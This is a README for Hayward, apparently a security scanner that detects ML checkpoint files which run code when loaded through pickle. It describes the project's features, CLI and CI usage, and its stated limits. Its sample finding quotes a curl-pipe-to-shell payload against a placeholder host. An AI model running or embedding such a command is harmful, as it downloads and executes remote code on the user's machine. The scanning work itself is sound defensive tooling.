Hayward

Security scanner for machine-learning model files. Know whether a checkpoint will run code on your machine, before you load it.

pip install hayward
hayward scan ./models

CRITICAL MFV-PICKLE-001  checkpoints/model.pt
         Pickle file references unsafe callable(s) that grant code/command
         execution on load: posix.system('curl http://example.invalid | sh').

1 finding(s): 1 critical

Or try it in your browser. Same scanner, compiled to WebAssembly. Drop a checkpoint on the page and it stays on your machine.

The problem

torch.load, joblib.load and numpy.load(allow_pickle=True) execute code from the file they read. That is not a bug, it is what pickle does.

The file is named pytorch_model.bin, and the .bin is doing a lot of work in that sentence. It is a program. Loading it is running it, on your laptop, with your credentials, as you.

Who it is for

Teams that pull checkpoints from public hubs and want the check to run in a CI pipeline, on a laptop, or inside a regulated environment where nothing is allowed to leave the network.

What makes it different

It stays quiet. A gate that cries wolf gets switched off, so it is built to report real models cleanly and reserve the INFO tier for content it could not verify. Any figures we quote are self-measured and not independently reproducible; Accuracy sets out what it does and does not support, and the harness runs it against your own corpus.

It tells you when it could not look. A file it cannot parse produces an explicit finding, never silence. Attackers hide payloads behind deliberate parse errors, and a clean report should mean the file was read.

It catches gadgets nobody has listed. Unknown callables are judged by the arguments they were handed, not by their name. A URL, a shell command, a host and port. That is what generalises past the deny list.

It installs anywhere. One dependency, no model framework, no native extensions, no network. Python 3.10 and up.

It fits a build. Documented exit codes, JSON output, a threshold you set.

What it scans

26 extensions in total. Format comes from magic bytes, so a payload renamed weights.safetensors, or weights.dat, or given no extension at all, does not walk past on the strength of its name. A directory scan still finds its candidates by extension first, since sniffing a whole tree means reading it: coverage states that limit.

Three ways to run it

hayward scan ./models                          # command line
hayward scan ./models -f html -o report.html   # shareable report
hayward-gui                                    # desktop window

from hayward import ModelFileScanner
findings = ModelFileScanner().scan_directory(Path("models"))

And in CI, as a GitHub Action that fails the build and uploads SARIF to code scanning:

- uses: hedgerow-dev/hayward@v1
  with:
    path: models
    fail-on: high

See the GitHub Action guide.

What a clean result means

That Hayward read the files and recognised nothing dangerous in them. Not that the model is safe. It is a smoke alarm, not a survey of the building, and coverage is the page where it owns up to the rooms it could not get into.

Documentation

• Usage: CLI reference, exit codes, CI, the GUI, the Python API
• Rules: all 47 rules with severities and CWE mappings
• Coverage: what it does when it cannot read a file, and why that is a finding
• How it works: how it reads pickle without running it, and how unknown callables are judged by their arguments
• GitHub Action: run the scan in CI and upload SARIF to code scanning
• Reproducible builds: the Docker image and the browser-demo build pipeline
• Accuracy: measured results, the caveats, and where it loses

Contributing

The most useful contribution is a file Hayward gets wrong. False alarms count just as much as misses. A scanner nobody trusts is a scanner nobody runs, and then it may as well not exist.

git clone https://github.com/hedgerow-dev/hayward
cd hayward && pip install -e ".[dev]" && pytest

Security

Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an issue. Input that crashes the scanner counts: under a CI gate, a crash is indistinguishable from a scan that never ran.

Licence

MIT. See LICENSE and NOTICE.

A hayward was the parish officer who walked the hedges, checked the gaps and impounded whatever had got through.